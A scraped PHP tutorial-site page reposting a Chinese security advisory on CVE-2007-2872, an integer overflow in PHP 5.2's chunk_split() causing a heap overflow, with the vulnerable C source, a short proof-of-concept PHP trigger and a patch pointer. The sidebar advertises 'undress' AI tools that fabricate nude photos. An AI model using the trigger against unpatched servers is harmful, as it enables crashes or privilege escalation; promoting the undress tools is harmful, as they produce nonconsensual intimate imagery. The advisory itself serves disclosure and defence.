Heim Backend-Entwicklung PHP-Tutorial PHP5.2下chunk_split()函数整数溢出漏洞 分析_php文摘

PHP5.2下chunk_split()函数整数溢出漏洞 分析_php文摘

May 17, 2016 am 09:39 AM
分析

受影响系统:
PHP PHP 不受影响系统:
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872

PHP是一种流行的WEB服务器端编程语言。

PHP中的chunk_split函数在处理畸形参数时存在整数溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限。

PHP中chunk_split函数的1963行试图为函数结果分配充分的内存大小,但没有执行任何检查便使用了srclen和chunklen参数块。如果值的块和endlen大于65534字节的话,就会触发整数溢出,分配错误的内存大小,导致堆溢出。

ext/standard/string.c:

1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p 1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }


链接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/downloads.php#v5

文章来自: 绿盟科技

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

Video Face Swap

Video Face Swap

Tauschen Sie Gesichter in jedem Video mühelos mit unserem völlig kostenlosen KI-Gesichtstausch-Tool aus!

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

So implementieren Sie Datenstatistiken und -analysen in Uniapp So implementieren Sie Datenstatistiken und -analysen in Uniapp Oct 24, 2023 pm 12:37 PM

So implementieren Sie Datenstatistiken und -analysen in uniapp 1. Hintergrundeinführung Datenstatistiken und -analysen sind ein sehr wichtiger Teil des Entwicklungsprozesses für mobile Anwendungen. Durch Statistiken und Analysen des Benutzerverhaltens können Entwickler ein tiefgreifendes Verständnis der Benutzerpräferenzen und -nutzung erlangen Gewohnheiten. Dadurch werden Produktdesign und Benutzererfahrung optimiert. In diesem Artikel wird die Implementierung von Datenstatistiken und Analysefunktionen in uniapp vorgestellt und einige spezifische Codebeispiele bereitgestellt. 2. Wählen Sie geeignete Datenstatistik- und Analysetools. Der erste Schritt zur Implementierung von Datenstatistiken und -analysen in uniapp besteht darin, die geeigneten Datenstatistik- und Analysetools auszuwählen.

Wie verwende ich die MySQL-Datenbank für Prognosen und prädiktive Analysen? Wie verwende ich die MySQL-Datenbank für Prognosen und prädiktive Analysen? Jul 12, 2023 pm 08:43 PM

Wie verwende ich die MySQL-Datenbank für Prognosen und prädiktive Analysen? Überblick: Prognosen und prädiktive Analysen spielen eine wichtige Rolle in der Datenanalyse. MySQL, ein weit verbreitetes relationales Datenbankverwaltungssystem, kann auch für Vorhersage- und prädiktive Analyseaufgaben verwendet werden. In diesem Artikel wird die Verwendung von MySQL für Vorhersagen und Vorhersageanalysen vorgestellt und relevante Codebeispiele bereitgestellt. Datenaufbereitung: Zunächst müssen wir relevante Daten aufbereiten. Angenommen, wir möchten Verkaufsprognosen erstellen, benötigen wir eine Tabelle mit Verkaufsdaten. In MySQL können wir verwenden

Protokollüberwachung und -analyse in Echtzeit unter Linux Protokollüberwachung und -analyse in Echtzeit unter Linux Jul 29, 2023 am 08:06 AM

Protokollüberwachung und -analyse in Echtzeit unter Linux Bei der täglichen Systemverwaltung und Fehlerbehebung sind Protokolle eine sehr wichtige Datenquelle. Durch Echtzeitüberwachung und Analyse von Systemprotokollen können wir ungewöhnliche Situationen rechtzeitig erkennen und entsprechend damit umgehen. In diesem Artikel wird die Durchführung einer Protokollüberwachung und -analyse in Echtzeit unter Linux vorgestellt und entsprechende Codebeispiele bereitgestellt. 1. Protokollüberwachung in Echtzeit Unter Linux ist rsyslog das am häufigsten verwendete Protokollsystem. Durch die Konfiguration von rsyslog können wir die Protokolle verschiedener Anwendungen kombinieren

Wie verwende ich die Go-Sprache für die Datenvisualisierungsanalyse? Wie verwende ich die Go-Sprache für die Datenvisualisierungsanalyse? Jun 10, 2023 am 10:46 AM

Mit dem Aufkommen des Big-Data-Zeitalters spielt die Datenvisualisierungsanalyse in allen Lebensbereichen eine entscheidende Rolle. Als schnelle, effiziente und sichere Programmiersprache hat die Go-Sprache nach und nach einen Platz im Bereich der Datenvisualisierungsanalyse eingenommen. In diesem Artikel wird untersucht, wie die Go-Sprache für die Datenvisualisierungsanalyse verwendet wird. 1. Plotly, eine häufig verwendete Datenvisualisierungsbibliothek in der Go-Sprache: Kann zum Erstellen interaktiver Grafiken im Browser verwendet werden und unterstützt eine Vielzahl von Grafiktypen, z. B. Liniendiagramme, Balkendiagramme, Streudiagramme, Wärmekarten usw. Gonum/plo

Schritte der statistischen Analyse Schritte der statistischen Analyse Jun 28, 2023 pm 03:27 PM

Statistische Analyse bezieht sich häufig auf den Prozess der Sortierung, Klassifizierung und Interpretation gesammelter relevanter Daten. Zu den grundlegenden Schritten der statistischen Analyse gehören: 1. Daten sammeln; 2. Daten organisieren; 3. Daten analysieren;

Analyse der Gründe, warum das sekundäre Verzeichnis von DreamWeaver CMS nicht geöffnet werden kann Analyse der Gründe, warum das sekundäre Verzeichnis von DreamWeaver CMS nicht geöffnet werden kann Mar 13, 2024 pm 06:24 PM

Titel: Analyse der Gründe und Lösungen, warum das sekundäre Verzeichnis von DreamWeaver CMS nicht geöffnet werden kann. Dreamweaver CMS (DedeCMS) ist ein leistungsstarkes Open-Source-Content-Management-System, das häufig bei der Erstellung verschiedener Websites verwendet wird. Allerdings kann es beim Erstellen einer Website manchmal vorkommen, dass das sekundäre Verzeichnis nicht geöffnet werden kann, was zu Problemen beim normalen Betrieb der Website führt. In diesem Artikel analysieren wir die möglichen Gründe, warum das sekundäre Verzeichnis nicht geöffnet werden kann, und stellen spezifische Codebeispiele zur Lösung dieses Problems bereit. 1. Mögliche Ursachenanalyse: Pseudostatisches Regelkonfigurationsproblem: während der Verwendung

Fallanalyse der Python-Anwendung in intelligenten Transportsystemen Fallanalyse der Python-Anwendung in intelligenten Transportsystemen Sep 08, 2023 am 08:13 AM

Zusammenfassung der Python-Anwendungsfallanalyse in intelligenten Transportsystemen: Mit der rasanten Entwicklung intelligenter Transportsysteme wird Python als multifunktionale, einfach zu erlernende und zu verwendende Programmiersprache häufig bei der Entwicklung und Anwendung intelligenter Transportsysteme verwendet. Dieser Artikel demonstriert die Vorteile und das Anwendungspotenzial von Python im Bereich des intelligenten Transports, indem er Anwendungsfälle von Python in intelligenten Transportsystemen analysiert und relevante Codebeispiele angibt. Einleitung Ein intelligentes Transportsystem bezieht sich auf die Nutzung moderner Kommunikations-, Informations-, Sensor- und anderer technischer Kommunikationsmittel

Analysieren Sie, ob die Hauptprogrammiersprache von Tencent Go ist Analysieren Sie, ob die Hauptprogrammiersprache von Tencent Go ist Mar 27, 2024 pm 04:21 PM

Titel: Ist Tencents wichtigste Programmiersprache Go: Eine eingehende Analyse Als Chinas führendes Technologieunternehmen hat Tencent bei der Auswahl seiner Programmiersprachen schon immer große Aufmerksamkeit auf sich gezogen. In den letzten Jahren glauben einige Leute, dass Tencent hauptsächlich Go als Hauptprogrammiersprache übernommen hat. In diesem Artikel wird eine eingehende Analyse durchgeführt, ob die Hauptprogrammiersprache von Tencent Go ist, und es werden konkrete Codebeispiele angegeben, um diese Ansicht zu untermauern. 1. Anwendung der Go-Sprache in Tencent Go ist eine von Google entwickelte Open-Source-Programmiersprache. Viele Entwickler schätzen ihre Effizienz, Parallelität und Einfachheit.

See all articles